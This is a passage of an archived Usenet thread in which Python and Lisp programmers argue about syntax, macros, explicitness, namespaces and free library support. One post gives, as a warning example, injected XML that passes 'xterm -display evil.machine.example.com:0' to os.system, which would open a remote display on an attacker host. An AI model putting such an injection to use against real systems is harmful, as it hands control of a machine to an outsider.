Python syntax in Lisp and Scheme

[mike420]

I think everyone who used Python will agree that its syntax is
the best thing going for it. It is very readable and easy
for everyone to learn. But, Python does not a have very good
macro capabilities, unfortunately. I'd like to know if it may
be possible to add a powerful macro system to Python, while
keeping its amazing syntax, and if it could be possible to
add Pythonistic syntax to Lisp or Scheme, while keeping all
of the functionality and convenience. If the answer is yes,
would many Python programmers switch to Lisp or Scheme if
they were offered identation-based syntax?

[Kenny Tilton]

Paul Rubin wrote:

Kenny Tilton <kt*****@nyc.rr.com> writes:

I think Python's problem is its success. Whenever something is
succesful, the first thing people want is more features. Hell, that is
how you know it is a success. The BDFL still talks about simplicity,
but that is history. GvR, IMHO, should chased wish-listers away with
"use Lisp" and kept his gem small and simple.

That's silly. Something being successful means people want to use it
to get things done in the real world. At that point they start
needing the tools that other languages provide for dealing with the
real world. The real world is not a small and simple place, and small
simple systems are not always enough to cope with it. If GVR had kept
his gem small and simple, it would have remained an academic toy, and
I think he had wide-reaching ambitions than that.

I agree with everything you said except that last bit, and I only
disagree with that because of what I have heard from Pythonistas, so
maybe I missed something. I did not think Python (or GVR or both) had
aspirations of being a full-blown language vs just being a powerful
scripting language.

Do they ever plan to do a compiler for it?

--
http://tilton-technology.com
What?! You are a newbie and you haven't answered my:
http://alu.cliki.net/The%20Road%20to%20Lisp%20Survey

[Andrew Dalke]

Pascal Costanza:

Here [are some studies on using Scheme to teach programming]:
http://home.adelphi.edu/sbloch/class/hs/testimonials/

Actually, those are testimonials, not studies. For real studies,
look at some of the Smalltalk and especially Papert's work with
Logo.

The problem with testimonials is they are submitted by the people
who liked the language. Eg, you don't see testimonials for a diet
loss plan which go "I used this plan and I gained 30 pounds in
only two weeks -- I loved it!"

One of my house mates in grad school learned Scheme at CMU
and related how much he didn't like the language. You don't see
his testimonial on this site because he didn't dislike it intensely
enough to write an essay and convince some pro-Scheme site
to host it.

Andrew
da***@dalkescientific.com

[james anderson]

Andrew Dalke wrote:

...

Python does it by ignoring the respective os APIs,
oh.
if I understand
your meaning and Python's implementation correctly. Here's some
more information about Unicode in Python

http://www.python.org/peps/pep-0100.html
http://www.python.org/peps/pep-0261.html
http://www.python.org/peps/pep-0277.html

pep-0261 was to the point. facit: if you build your python for 4-byte
characters you get the full range of scalar values (ie characters) as first
class objects. if you build your python for 2-byte characters you have to
model all scalar values outside of the basic plane as two disjoint code values.

it's analogous to wide/narrow characters in acl, and i recall there being an
open-source lisp which supported 4-byte builds. each catering to their users.
as the saying goes, everybody cooks with water.

i'd be curious to hear:

was pep-0261 adopted?

has there been any data collected on how many installations are built in the
respective modes. for users in the 4-byte mode, has there been any data on
storage efficiency? on general string-related algorithm performance?

do python programmers really not care about using things like os-native
international type support? [0]

...
I fully understand that it isn't part of the standard, but it would be
useful if there was a consensus that "packages X, Y, and Z will
always be included in our distributions."

that may be a market issue. vendors supply what their clients pay for. they
have an interest in product differentiation. open-source developers develop
what they need. they have an interest that their implmentation serves their
needs. there is some overlap, but evidently the market does not compel the
order of consolidation which you envision.

....

[0] http://developer.apple.com/intl/atsui.html

[Jon S. Anthony]

"Andrew Dalke" <ad****@mindspring.com> writes:

Jon S. Anthony:

This thing has been debunked for years. No one with a clue takes it
seriously. Even the author(s) indicate that much of it is based on
subjective guesses.
Do you have a reference? And a pointer to something better?

Even nothing is better than misinformation.
2 of 6 is better than random, so Jones' work can't be
complete bunkum.

2 of 6 is worse than flipping a coin.

/Jon

[Brian Downing]

In article <a6*****************@newsread4.news.pas.earthlink. net>,
Andrew Dalke <ad****@mindspring.com> wrote:

Huh? I'm talking purely in the interface. Use ASCII '[' and ']' in the
Lisp code and display it locally as something with more "directionality".
I'm not suggesting the unicode character be used in the Lisp code.
Take advantages of advances in font display to overcome limitations
in ASCII.

How is this amount of complexity possibly better then just making the
[ ] keys output ( ) in the editor - something that works TODAY?

-bcd
--
*** Brian Downing <bdowning at lavos dot net>

[Alex Martelli]

Dave Benjamin wrote:
...

for line in file('input.txt'):
do_something_with(line)
I don't see that there's anything "implicit" in the concept that a
special operation works as indicated by its syntax. I.e., I do not ... What's implicit to me is that the use of an iterator is never specified.
It could be, but it would be redundant, because the for-in syntax
_always_ uses iterators -- so,
for x in y:
and
for x in iter(y):
and
for x in iter(iter(y)):
and so on, ad nauseam, are all equivalent. All except the first form
are also redundant.
For instance, we could (and I'm *not* suggesting this) do this:

iterator = file('input.txt')
You forgot to call iter (which the for loop does), so, depending
on whether a file object HAS-AN iterator (as in 2.2) or IS-AN
iterator, you could be out of luck -- e.g.:

[alex@lancelot src23x]$ python2.2
Python 2.2.2 (#1, Oct 24 2002, 11:43:01)
...

f=file('/tmp/ba')
print f.next() Traceback (most recent call last):
File "<stdin>", line 1, in ?
AttributeError: 'file' object has no attribute 'next'
(in 2.3, you'd be lucky;-).
while iterator.has_next():
line = iterator.next()
do_something_with(line)
That wouldn't be the definition of the for loop (and in general it
would be hellish to make it work -- that "predictive" has_next might
be a real bear to implement, with sane semantics, on certain
iterators which "consume" data and can't put it back).

However, you COULD write something like:

iterator = iter(file('/tmp/ba'))
while 1:
try: line = iterator.next()
except StopIteration: break
else: do_something_with(line)

i.e., expand the definition of "for line in..." into the constructs it's
defined in terms of -- same results with different goofy syntax.

But such expansion wouldn't be any more "explicit" than USING the
definition!!! Any more than, say, x*5 is "less explicit" than x+x+x+x+x --
once multiplication is DEFINED in terms of repeated addition, it can
perfectly well be used, and be just as explicit as writing out the
repeated addition itself would be.

I don't think it's possible to make any halfway-sensible case that
USING a language's constructs directly is "less explicit" than goofily
spelling them out in terms of other constructs they may be defined
as equivalent to.

other forms of suites, e.g. hypothetically:

with <object>:
<suite>

meaning to call the object (or some given method[s] in it, whatever)
with the suite as its argument, it would be just as explicit as, e.g.: ... This would be an interesting alternative, but it's back to being a special
case, like Ruby has. I think it'd be more flexible as a literal that
returns a callable.
Yes, by being a statement it would be less general than having it as an
expression would be -- an expression can be used anywhere a statement
can be used, but not viceversa. What I'm uncertain about is whether
there IS a *good* syntax for a Python expression that can embody arbitrary
statements -- I'm not really enthusiastic about any proposal I've seen,
including mine own.

This is not to say that I dislike that behavior; in fact, I find it
*beneficial* that the manner of looping is *implicit* because you can
substitute a generator for a sequence without changing the usage. But

You could do so even if you HAD to say iter(<object>) instead of
just <object> after every "for <name> in" -- it wouldn't be any
more "explicit", just more verbose (redundant, boiler-platey). So
I do not agree with your motivation for liking "for x in y:" either;-).

Well, let's just say I've been on the Java side of the fence for a little
while, and it has redefined my personal definition of explicit. One of the
reasons Python code is so much smaller than Java code is that a lot of
things are implicit that are required to be explicit in Java. I see this
as a good thing.

I think you're using 'explicit' as a synonym for 'redundant', then. But
it's not useful nor sensible usage, and insisting on it would be very
humpty-dumptyish. It's not that in Python "a lot of things are implicit":
rather, the constructs are defined to _explicitly_ map to typical usage,
often (not invariably, but close) without boilerplate and redundance.

there's little readability difference, IMHO, between that and:

file('input.txt').each_line({ |line|
do_something_with(line)
})

Not huge, but the abundance of ({ | &c here hurts a little bit.

Well, we all __pick__ our __poisons__...

Sure, Ruby's "def add" is more readable than Python's "def __add__" --
we weren't discussing that, though, nor making general comparisons
about the two languages, but rather talking about the readability of
*iterator usage* in the two languages.

if you could not call file directly but rather than do say, e.g.:

file.open_for_reading_only('foo.txt').write('wot?' )

Nah, I'm not arguing for redundancy at all. I'm saying that there is some
voodoo going on here. When the *constructor* for a file object behaves
like a generator that loops over newline-delimited lines of a text field,

The constructor constructs the object -- no more, no less. The *object* is
an iterator (in 2.3; in 2.2 it HAS one instead), so of course you can
iterate on it -- no voodoo whatsoever.
doesn't that seem like it's been specialized for a particular domain in an
unobvious way? Why lines? Why not bytes, words, unicode characters? I
Usage frequency: looping on lines is by far the use case that dominates in
frequency (no formal statistics, but a rare consensus of many experienced
users on python-dev at the time).
mean, it's more convenient for people that do a lot of text processing,
but I don't see anything specific to text or lines in the phrase
"file('foo.txt')". That's all I'm saying.
There is nothing (except the accidental 'txt' substring) that directly
mention text, nor lines, bytes, words, etc; why, if you used the 'open'
synonym of 'file', there would be nothing mentioning files either. But
then, there is nothing in the character '+' that even remotely suggests
addition -- except habit. Do you therefore think that using '+' to denote
addition is *not explicit*? Since '+' is DEFINED to perform addition,
by a convention that is quite familiar to most users, I'd disagree. And
similarly for looping on a file object -- as there is one dominant use case,
it was deemed important enough to rapidly become familiar to most
users, and thereby eschew the "in the face of ambiguity, resist the
temptation to guess" principle's application.

Actually I was caught out that way while helping out on he**@python.org
today -- a user was asking why "for line in afile.readlines():
md5.update(line)" was eating up all of his memory on processing a huge
binary file, and I made the facile suggestion of moving to "for line in
afile:" -- fortunately Danny caught me out (the good thing of having
several volunteers on the helpline -- not quite as good as c.l.py that
way, but still) and pointed out that the binary file MIGHT lack even a
single '\n' byte in its huge body, after all, so there was no _safety_ in
this approach (easily fixed with a generator, once spotted). So, maybe I
shouldn't feel so tranquil that the "face of ambiguity" was *correctly*
handled. But note it's most emphatically NOT about implicit or explicit:
the user originally had a PERFECTLY explicit readlines call -- just a
wrong one (which I mentally translated to just omit the .readlines() part,
which was my mistake). It's about ambiguity and the temptation to
guess -- files don't provide methods to loop by ANYTHING BUT lines,
and that partly reflects the fact that other loops are easier to write as
generators, but also partly a "guess" (in the face of ambiguity...) that
a typical file is read as text, not as binary (for writing, the writelines
method has excellent semantics for consuming a finite iterator -- it's
just badly misnamed, leaving the misleading impression that it has
anything to do with lines... so much for 'explicitness' I guess...:-).

- types of variables

There are none, so how could such a nonexisting thing be EITHER implicit
OR explicit? Variables don't HAVE types -- OBJECTS do.

The very fact that variables to not have types, and following that, that
variables do not have manifest types, is an example of implicit being
chosen over explicit. I know your argument, and I understand that Python
variables are Post-It sticky notes and all of that, but please, just try
to look at it from a non-Python-centric perspective. Other languages (like

Ok, as long as you let me choose Ruby as the non-Python in question.
Once I've done that, I see no difference: still sticky notes without
manifest per-variable types;-).

"x=5" is just as explicit as "int x=5", because the type of the object is
manifest. The difference is not between implicit and explicit: it's
about attaching a type at all to that name 'x' or not.
C++, which I hear you are vaguely familiar with ;) require you to be
explicit about what type of thing you're defining and sending where.
Yes, and in that it's distinguished from e.g. Haskell, which also has
typed-names but allows you to NOT explicitly (or redundantly rather)
state them out and let it do inference instead. Now THAT kind of
distinction is about explicitness or redundance. Deeming that a name
has NO type is quite different. I know of no programming language
that requires nor allows you to state the color of your cat's hair (except
in comments and the like): it's not a matter of your cat's color being
left "implicit", it's rather that those languages don't HAVE the concept
of a cat, its hair, and the hair's color. Just think of variables as cats,
rather than sticky notes, and the issue may get clearer.

Etc, etc -- can't spend another 1000 lines to explain why your "lots of
things" do not indicate violations of "explicit is better than implicit".

They're not *violations*. Correct me if I'm wrong, but the Zen of Python
is not the LAW! It's a poem! It's very beautiful, very concise, inspiring,
and thoughtful, but it's not the 10 commandments! I just get very tired of

It's a set of principles humorously and perceptively expressed, of course.
every idea getting shot down because of some rule from Tim Peters. I
really don't think he intended for it to be used to prove the validity of
ideas.
No doubt some people quote it routinely, but, when e.g. I do, it's just
because it's often a very concise, expressive and clear way to express
what I could alternatively take a few hours to laboriously set down in
excruciating detail (of course, I can and do perform BOTH too:-).
Those principles that are NOT all that common in other programming
languages are particularly valuable because they express Python's
community consensus where it most needs to be expressed.

The implicit/explicit thing is one of the most abused, in my opinion,
because it can quite frankly be used to shut down any attempt at creating
abstraction. In fact, for that reason alone, I'm tempted to say "Implicit
is better than explicit". Say what you want, not how you want it. Be
abstract, not concrete.
....but please do so in other languages than Python; there are several
excellent ones for the purpose (Ruby isn't really one -- many of its
"implicitness" factors are in fact legacy holdovers -- for example, I've
often seen the optional omission of parentheses in method calls deemed iffy
by experienced Rubytes, even more for the implicit $_, etc, etc). Python
is quite concrete and pragmatical, as is Ruby, at their cores. I think
functional languages encourage and nudge you to work at very high
levels of abstraction, very VERY far from the machine, in ways that no
language with modifiable data truly does. If "be abstract, not concrete"
is really the motto you want to live by, I think Erlang or Haskell or ML
might make you much happier than Python or Ruby would.

Most of us actually work better on a more concrete level, I believe --
and that is why, for me (and 'us':-) languages with the concreteness
(and explicitness) of Perl and Ruby are more productive (though the
mind-expanding experience of studying FP is a great visit, I'm not sure
I'd want to live there).

But note that this about actual abstraction, and has nothing to do
with implicit vs explicit. If you think that a language's rules and
definitions -- just like, say, the definition of multiplication -- "are
implicit", or using them _makes_ your programs "implicit", then I think
your individual and idiosyncratic definition of words can make discourse
with you simply impossible.

This is nothing like APL... if anything, it's like Smalltalk, a language
designed to be readable by children!

Cite pls? I knew that Logo and ABC had been specifically designed
with children in mind, but didn't know that of Smalltalk.

http://ei.cs.vt.edu/~history/GASCH.KAY.HTML
http://www.cosc.canterbury.ac.nz/~wo...malltalk1.html
http://www.cs.washington.edu/homes/dugan/history.html

Thanks! Quite instructive.

Well, it was a rough analogy, and I've never done any APL myself, but
here's my justification, FWIW:

- APL provides syntactical constructs for high-level array processing
Yep, a huge array of weird symbols for the purpose (operators infix
or prefix, w/o priority differences among the set of infix ones).
- List comprehensions do this also
Not really: just an expression to create a list (array), with deliberate
use of keywords (vs Haskell's symbols for the same role). This is
like saying that, e.g., range(5) is like APL's <iota>5... no, it's even
"farther fetched" IMHO.
- Code blocks have nothing inherently to do with array processing
Neither do many of APL's many symbols, e.g. left-pointing arrow
for assignment, right-pointing for goto (only control flow statement being
a computed goto), etc.

But I agree that neither resemble APL as I've seen. I guess it's like
saying a carrot is more like APL than a rutabega.

It does seem to be on a similar plane of "similitude", yes.
Alex

[Jon S. Anthony]

Edi Weitz <ed*@agharta.de> writes:

but it is not true that it is free (which was one of the things
Mr. Dalke asked for). At least it wasn't true the last time I talked

You are right. My mistake.

/Jon

[Andrew Dalke]

Dave Benjamin:

What's implicit to me is that the use of an iterator is never specified.
It is by the definition of what the for loop does.
For instance, we could (and I'm *not* suggesting this) do this:

iterator = file('input.txt')
while iterator.has_next():
line = iterator.next()
do_something_with(line)

Good thing you aren't, since has_next might be impossible to
implement. ;)

If Python's syntax defined
other forms of suites, e.g. hypothetically:

with <object>:
<suite>

meaning to call the object (or some given method[s] in it, whatever)
with the suite as its argument, it would be just as explicit as, e.g.:

for <name> in <object>:
<suite>

A reasonable point. However, inside the 'with' statement it's hard
to know if

print x

comes from the object or from the static scoping, and it may
be that 99.99% of the time it's from static scoping, only to find
after deployment that there's code like

logger = "echo got it >> file.log"

....
def parse_server_request(self, infile, outfile):
obj = parse_XML_into_some_pythonic_data_structure(infile )
with obj:
outfile.write("Content-Type: text/plain\n\n")
outfile.write("Hi, " + username + "\n")
os.system(logger)

which lets malicious user input pass in XML with the content
<logger>xterm -display evil.machine.example.com:0</logger>
that ends up being passed to the system call.

I've been on this thread too long so I won't answer anything from the rest
of your response. :(

Andrew
da***@dalkescientific.com

[Daniel Silva]

On Thu, 9 Oct 2003, Andrew Dalke wrote:

Python [...] lives in a perfectly good niche wherein
Lisp is not the most appropriate language. At least not until there's a
macro which works like

(#python '
for i in range(100):
print "Spam, ",
print
)

There is! http://spyweb.hopto.org

:D

- Daniel

[Alex Martelli]

Rainer Deyke wrote:

Pascal Costanza wrote:

Pick the one Common Lisp implementation that provides the stuff you
need. If no Common Lisp implementation provides all the stuff you
need, write your own libraries or pick a different language. It's as
simple as that.

Coming from a C/C++ background, I'm surprised by this attitude. Is
portability of code across different language implementations not a
priority for LISP programmers?

Libraries distributed as binaries are not portable across different C++
implementations on the same machine (as a rule). If we're talking
about sources, I don't see why strict ANSI Lisp library source code should
be any less portable than strict ISO C++ library source code. Even
different C++ implementations often come with additional vendor
specific libraries (e.g., on Windows, MFC and ATL for MS, ...) -- you
don't HAVE to use them, though the vendor's tools encourage you
to (to hook you in).

Personally, the only thing I find alien in Pascal's recommendation is
a glaring lack -- no mention of the possibility of downloading and
reusing open-source libraries from the net, just getting them as a
part of the implementation or else rolling your own. Now _that_ is
something I find weird, and cannot explain.
Alex

[Pascal Bourguignon]

Edi Weitz <ed*@agharta.de> writes:

[Followup-To ignored because I don't read comp.lang.python]

On Thu, 09 Oct 2003 16:13:54 GMT, Alex Martelli <al***@aleax.it> wrote:

I think it's about a single namespace (Scheme, Python, Haskell, ...)
vs CLisp's dual namespaces. People get used pretty fast to having
every object (whether callable or not) "first-class" --
e.g. sendable as an argument without any need for stropping or the
like. To you, HOFs may feel like special cases needing special
syntax that toots horns and rings bells; to people used to passing
functions as arguments as a way of living, that's as syntactically
obtrusive as, say, O'CAML's mandate that you use +. and not plain +
when summing floats rather than ints

In Common Lisp (not "CLisp", that's an implementation) functions /are/
first-class and sendable as an argument "without any need for
stropping or the like." What exactly are you talking about?

Read him.

He's talking about NAMESPACES. "namespace" occurs twice in his
paragraph, while "function" occurs only once, that should have given
you a hint.

Namely, he's saying that people used to write: (mapcar cadr '((a 1) (b 2)))
don't like having to write: (mapcar #'cadr '((a 1) (b 2))) in Common-Lisp.
[ Personnaly, I rather write it as: (mapcar (function cadr) '((a 1) (b 2)))
The less read macro the better I feel.]
--
__Pascal_Bourguignon__
http://www.informatimago.com/
Do not adjust your mind, there is a fault in reality.

[Lulu of the Lotus-Eaters]

Kenny Tilton <kt*****@nyc.rr.com> wrote previously:
|Do they ever plan to do a compiler for it [Python]?

You mean like Psyco?

Been there, done that. (and it's great, and getting better).

--
mertz@ | The specter of free information is haunting the `Net! All the
gnosis | powers of IP- and crypto-tyranny have entered into an unholy
..cx | alliance...ideas have nothing to lose but their chains. Unite
| against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------

[Kenny Tilton]

Andrew Dalke wrote:

Kenny Tilton:

I wouldn't take the Greenspun crack too seriously. That's about
applications recreating Lisp, not languages copying Lisp features.

Are you stating that all references of Greenspun's 10th rule,
when applied to Python, are meant in jest?

Can't speak for others, but it certainly would be a mistake to apply it
to another HLL.

Python isn't doing that. It's lives in a perfectly good niche wherein
Lisp is not the most appropriate language.
OK, another Pythonista just told me GVR had greater ambitions. Just
tellin ya what I hear.

You presume that only Lisp gurus can learn Lisp because of the syntax.

Not at all. What I said is that Lisp gurus are self-selected to be
the ones who don't find the syntax to be a problem. You incorrectly
assumed the converse to be true.

No, I got that, but I just wrote it kinda convoluted. And that
self-selection thing is just silly, until people over here:

http://alu.cliki.net/Kenny's%20RtLS%20Top-Ten

....come back in a month and update their responses to say "Drat! That
language is every bit as great as I thought it was, but that syntax is
driving me nuts. I'm outtahere!"

Won't happen, btw. Hell, Tolton loved Lisp even before he picked up some
editing tips.

You know, I just remembered a relevant experience I had, only with a
very early release of Dylan during the search I conducted which led to
Common Lisp, aka The Promised Land.

I actually made a bug report to the Dylan team: "hey, when I hit tab the
cursor jumps way the hell out here, just inside the IF. I mean, that's
pretty fucking cool if you meant that to happen, but what's going on?"

:)

But methinks a number of folks using Emacs Elisp and Autocad's embedded
Lisp are non-professionals.

Methinks there are a great many more people using the VBA
interface to AutoCAD than its Lisp interface. In fact, my friends
(ex-Autodesk) told me that's the case.

Sheesh, who hasn't been exposed to basic? From my generation, that is.
:) But no matter, the point is anyone can handled parens if they try for
more than an hour.

What does it mean to be "a Lisp"? Is Python considered "a Lisp"
for some definitions of Lisp?

lessee:

symbols? no
sexprs? no
code as data as code? no

sorry, charlie.

You (Alex?) also worry about groups of programmers and whether what is
good for the gurus will be good for the lesser lights.

If you ever hear me call anyone who is not an expert programmer
a "lesser light" then I give you -- or anyone else here -- permission
to smack me cross-side the head.

Boy, you sure can read a lot into a casually chosen cliche. But can we
clear up once and for all whether these genius scientists are or are not
as good a programmer as you? I thought I heard Python being recommended
as better for non-professional programmers.

Mind you, to my horror my carefully trained goalie turned out not to
scale at all into game play (my fault) so i am back to square one with
two days to go, so maybe I am not following all this as well as I should.
--
http://tilton-technology.com
What?! You are a newbie and you haven't answered my:
http://alu.cliki.net/The%20Road%20to%20Lisp%20Survey

[Pascal Bourguignon]

"Andrew Dalke" <ad****@mindspring.com> writes:

Pascal Costanza:

So what's the result of ("one" - "two") then? ;)

It's undefined on strings -- a type error. Having + doesn't
mean that - must exist.

What about:

(defun nl-string-to-number (text)
;; Of course, you could program it more intelligently and more efficiently.
(do* ((i 0 (1+ i))
(s (format nil "~r" i) (format nil "~r" i))
)
((or (string-equal s text) (< (* 2 (length text)) (length s)))
(when (string-equal s text) i)))
);;nl-string-to-number

(defmacro def-s-op (name num-op)
`(defun ,name (&rest args)
(format nil "~r"
(apply (function ,num-op)
(mapcar (function nl-string-to-number) args))))
);;def-s-op
(def-s-op +s +)
(def-s-op -s -)
(def-s-op *s *)
(def-s-op /s /)
(def-s-op =s =)
(def-s-op /=s /=)
(def-s-op <s <)
(def-s-op <=s <=)
(def-s-op >s >)
(def-s-op =>s <=)

(-s "one" "two")

==> "minus one"
--
__Pascal_Bourguignon__
http://www.informatimago.com/
Do not adjust your mind, there is a fault in reality.

[oleg]

Macros generating macros and macros that take other macros as
arguments are quite common in Scheme. CPS-macros in particular are
higher-order macros as they take macro-continuations. Macro-lambda and
macro-apply (in syntax-rules) are further examples of higher-order
macros. Macros are closely related to multi-stage computations. In
MetaOCaml, code is just a regular value. You can write regular OCaml
functions that take, e.g., an argument of a type (char code) and
returns a value of (int->int code). These functions can be
higher-order.

Syntax-rule-level ??!lambda and ??!apply:
http://pobox.com/~oleg/ftp/Scheme/macros.html

Haskell functions as CL/Scheme macros:
http://pobox.com/~oleg/ftp/Scheme/la...omputation.txt

http://www.metaocaml.org/

[Edi Weitz]

On 10 Oct 2003 00:00:24 +0200, Pascal Bourguignon <sp**@thalassa.informatimago.com> wrote:

Edi Weitz <ed*@agharta.de> writes:

[Followup-To ignored because I don't read comp.lang.python]

On Thu, 09 Oct 2003 16:13:54 GMT, Alex Martelli <al***@aleax.it> wrote:

I think it's about a single namespace (Scheme, Python, Haskell,
...) vs CLisp's dual namespaces. People get used pretty fast
to having every object (whether callable or not) "first-class"
-- e.g. sendable as an argument without any need for stropping
or the like. To you, HOFs may feel like special cases needing
special syntax that toots horns and rings bells; to people used
to passing functions as arguments as a way of living, that's as
syntactically obtrusive as, say, O'CAML's mandate that you use
+. and not plain + when summing floats rather than ints
In Common Lisp (not "CLisp", that's an implementation) functions
/are/ first-class and sendable as an argument "without any need
for stropping or the like." What exactly are you talking about?

Read him.

He's talking about NAMESPACES. "namespace" occurs twice in his
paragraph, while "function" occurs only once, that should have given
you a hint.

Thanks, I think my reading comprehension is quite good. What you said
doesn't change the fact that Mr. Martelli's wording insinuates that in
Scheme and Python functions are first-class objects and in Common Lisp
they're not. For the sake of c.l.p readers who might not know CL I
think this should be corrected.

* (let ((fn (lambda (x) (* x x))))
(mapcar fn (list 1 2 3 4 5)))

(1 4 9 16 25)

There you have it. I can create a function, assign it to a variable
and pass it to another function like any other object, that's what I'd
call a "first-class object."
Namely, he's saying that people used to write: (mapcar cadr '((a 1)
(b 2))) don't like having to write: (mapcar #'cadr '((a 1) (b 2)))
in Common-Lisp.
This old namespace debate only makes me yawn, sorry.
[ Personnaly, I rather write it as: (mapcar (function cadr) '((a 1)
(b 2))) The less read macro the better I feel.]

Sincere condolences... :)

Edi.

[Steven E. Harris]

Alex Martelli <al***@aleax.it> writes:

Personally, the only thing I find alien in Pascal's recommendation
is a glaring lack -- no mention of the possibility of downloading
and reusing open-source libraries from the net, just getting them as
a part of the implementation or else rolling your own.

Don't think it doesn't happen. Just today I downloaded and started
using both CL-PPCRE¹ and net-telent-date².
Footnotes:
¹ http://www.weitz.de/cl-ppcre/
² http://www.cliki.net/net-telent-date

--
Steven E. Harris :: se******@raytheon.com
Raytheon :: http://www.raytheon.com

[Andrew Dalke]

Edi Weitz

As far as "mix and match" of packages is concerned: Use Debian
(testing) or Gentoo. I've been told it's just a matter of some
invocations of 'apt-get install' or 'emerge' to get the CL packages
you want. At least it shouldn't be harder than, say, getting stuff
from CPAN. What? You don't use Debian or Gentoo? Hey, you said you
wanted "free" stuff - you get what you pay for.
Python's free. And I've paid for it in my efforts.

My primary machine is Mac OS X. I always got frustrated getting
fonts, sound, and movies working under the various Linux-based
distributions, and I suspect there are the same problems with
BSD-based distributions.

I downloaded (years ago) the Allegro demo package, but that
was to test a package from biolisp.org. There being no other
code for doing bioinformatics, and given my known proclivities
for Python, I didn't see the justification of paying for the full
commercial version.
So, here are your choices:

1. Buy a commercial Lisp. I've done that and I think it was a good
decision.
I'm already making my living from doing Python, so I've got an
incentive to stay with it. ;)

In the scientific conferences I attend, no one I've seen uses Lisp
for their work, excepting those old enough that they started before
there were other high-quality high-level languages.

No one has told me they would hire me for contract work "if only
you were a Lisp programmer."

If the barrier to entry to do what are common-place tasks requires
I buy a commercial Lisp then it's much less likely others will use
my code. I like having others use my code.

(Then why do I use Python? It's a tradeoff, since writing Java/C++
is just too tedious. And I like the people in Python (Hi Laura!).
And I'm picky the domain -- I like doing computational life sciences.)
2. Try to improve the situation of the free CL implementations by
writing libraries or helping with the infrastructure. That's how
this "Open Source" thingy is supposed to work. I'm also doing this.
And I'm doing it for Python. For my domain, it seems like a much
better language choice, for reasons I've mentioned here several times.
3. Run around complaining that you can't use Lisp because a certain
combination of features is not available for free. We have far too
many of these guys on c.l.l.
Technically I'm cross-posting from c.l.py. And I actually complain
for other reasons. ;)
4. Just don't use it. That's fine with me.
So far I've made ... 4(?) half-hearted attempts at learning Lisp.
And 1 at learning Haskell. And 0.1 at learning OCaml.
It currently looks like the number of people choosing #2 is
increasing. Looks promising. You are invited to take part - it's a
great language and a nice little community... :)
"A rising tide lifts all boats". The same is true in Python, in
Java, in Ruby, in ...
PS: You might also want to look at

<http://web.metacircles.com/cirCLe+CD>.

*sigh*. Another package that doesn't (err, won't) work on my
Mac.

Andrew
da***@dalkescientific.com

[Andrew Dalke]

james anderson:

was pep-0261 adopted?
Yes.
has there been any data collected on how many installations are built in the respective modes. for users in the 4-byte mode, has there been any data on
storage efficiency? on general string-related algorithm performance?
Given that most people probably kill-threaded this discussion, you
might want to ask again on c.l.py with a new subject name.
do python programmers really not care about using things like os-native
international type support? [0]
I really am not the right person to talk to on this. I can offer my
opinion, for what that's worth.

The link you gave is to an Apple API for internationalization. If
both they and Python use the same Unicode encoding, then the
Python unicode data can be passed directly to the API. I know
there are bindings between Python and the Apple framework --
Apple asked that Python 2.3 be ready in time for OS 10.3,
and I saw a demo using Apple's GUI builder to make code usable
by Python. For that, see the current state of the MacPython project.

It seems to me then that all Python offers is a way to create and
manipulate the unicode string, and so long as the correct translations
are done at the interface level to platform-specific features (as
when Python's unicode strings are used for a unicode aware
filesystem like MS Windows') then all is fine.
that may be a market issue. vendors supply what their clients pay for. they have an interest in product differentiation. open-source developers develop what they need. they have an interest that their implmentation serves their needs. there is some overlap, but evidently the market does not compel the
order of consolidation which you envision.

I listed a set of packages (regexps, unicode, XML, HTTP client&server)
which are included in the free version of Python. There are also
commercial distributions which add extra modules, like the ones from
activestate and scipy, but it seems that the standard free Lisp distribution

comes with fewer useful modules than the standard Python one.

Conjecture: Is it that the commericial versions of Lisp pull away
some of the people who would otherwise help raise the default
functionality of the free version? I don't think so... but then why?

Andrew
da***@dalkescientific.com

[Kenny Tilton]

Lulu of the Lotus-Eaters wrote:

Kenny Tilton <kt*****@nyc.rr.com> wrote previously:
|Do they ever plan to do a compiler for it [Python]?

You mean like Psyco?

Been there, done that. (and it's great, and getting better).

Oh, excellent name. OK, the context was "what are Python's aspirations?"
.. Is Python now no longer content to be a (very powerful) scripting
language? Or is it just tired of being ragged on for being slow?

--
http://tilton-technology.com
What?! You are a newbie and you haven't answered my:
http://alu.cliki.net/The%20Road%20to%20Lisp%20Survey

[Pascal Costanza]

Rainer Deyke wrote:

Pascal Costanza wrote:

Pick the one Common Lisp implementation that provides the stuff you
need. If no Common Lisp implementation provides all the stuff you
need, write your own libraries or pick a different language. It's as
simple as that.

Coming from a C/C++ background, I'm surprised by this attitude. Is
portability of code across different language implementations not a priority
for LISP programmers?

IMHO it's better to first get you code right on the CL implementation
you have chosen, and then worry about porting it to other CL
implementations if the need arises, and not try to do both things at the
same time.

But that's maybe just me.

Perhaps Kenny can better comment on this because he has already ported
his Cells stuff to many CL implementations. Would you recommend to take
care of portability from the start, or would you rather do it differently?
Pascal

[Pascal Costanza]

Alex Martelli wrote:

Personally, the only thing I find alien in Pascal's recommendation is
a glaring lack -- no mention of the possibility of downloading and
reusing open-source libraries from the net, just getting them as a
part of the implementation or else rolling your own.

You're right, that's also an option.
Pascal

[Pascal Costanza]

Andrew Dalke wrote:

Edi Weitz

As far as "mix and match" of packages is concerned: Use Debian
(testing) or Gentoo. I've been told it's just a matter of some
invocations of 'apt-get install' or 'emerge' to get the CL packages
you want. At least it shouldn't be harder than, say, getting stuff
from CPAN. What? You don't use Debian or Gentoo? Hey, you said you
wanted "free" stuff - you get what you pay for.

Python's free. And I've paid for it in my efforts.

My primary machine is Mac OS X. I always got frustrated getting
fonts, sound, and movies working under the various Linux-based
distributions, and I suspect there are the same problems with
BSD-based distributions.

Well, then you already know that free doesn't always mean better. BTW,
Xanalys have just released the free personal edition of LispWorks 4.3
which runs on Windows, Linux and Mac OS X. [1]
Pascal

[1] No, I don't work for them. ;)

[Pascal Costanza]

Andrew Dalke wrote:

Conjecture: Is it that the commericial versions of Lisp pull away
some of the people who would otherwise help raise the default
functionality of the free version? I don't think so... but then why?

It's probably just because the Common Lisp community is still relatively
small at the moment. But this situation has already started to improve a
lot.
Pascal

[Pascal Costanza]

Andrew Dalke wrote:

Pascal Costanza:

Yes, scripting languages have caught up in this regard. (However, note
that Common Lisp also includes a full compiler at runtime.)

However, that's an implementation difference -- the only thing
users should see is that the code runs faster. It doesn't otherwise
provide new functionality.

No, not quite. You can actually control whether you want a piece of
dynamically generated code interpreted or compiled. If such generated
code isn't run too often (for example only once) then the overhead of
compiling it most probably doesn't pay off but rather can be higher than
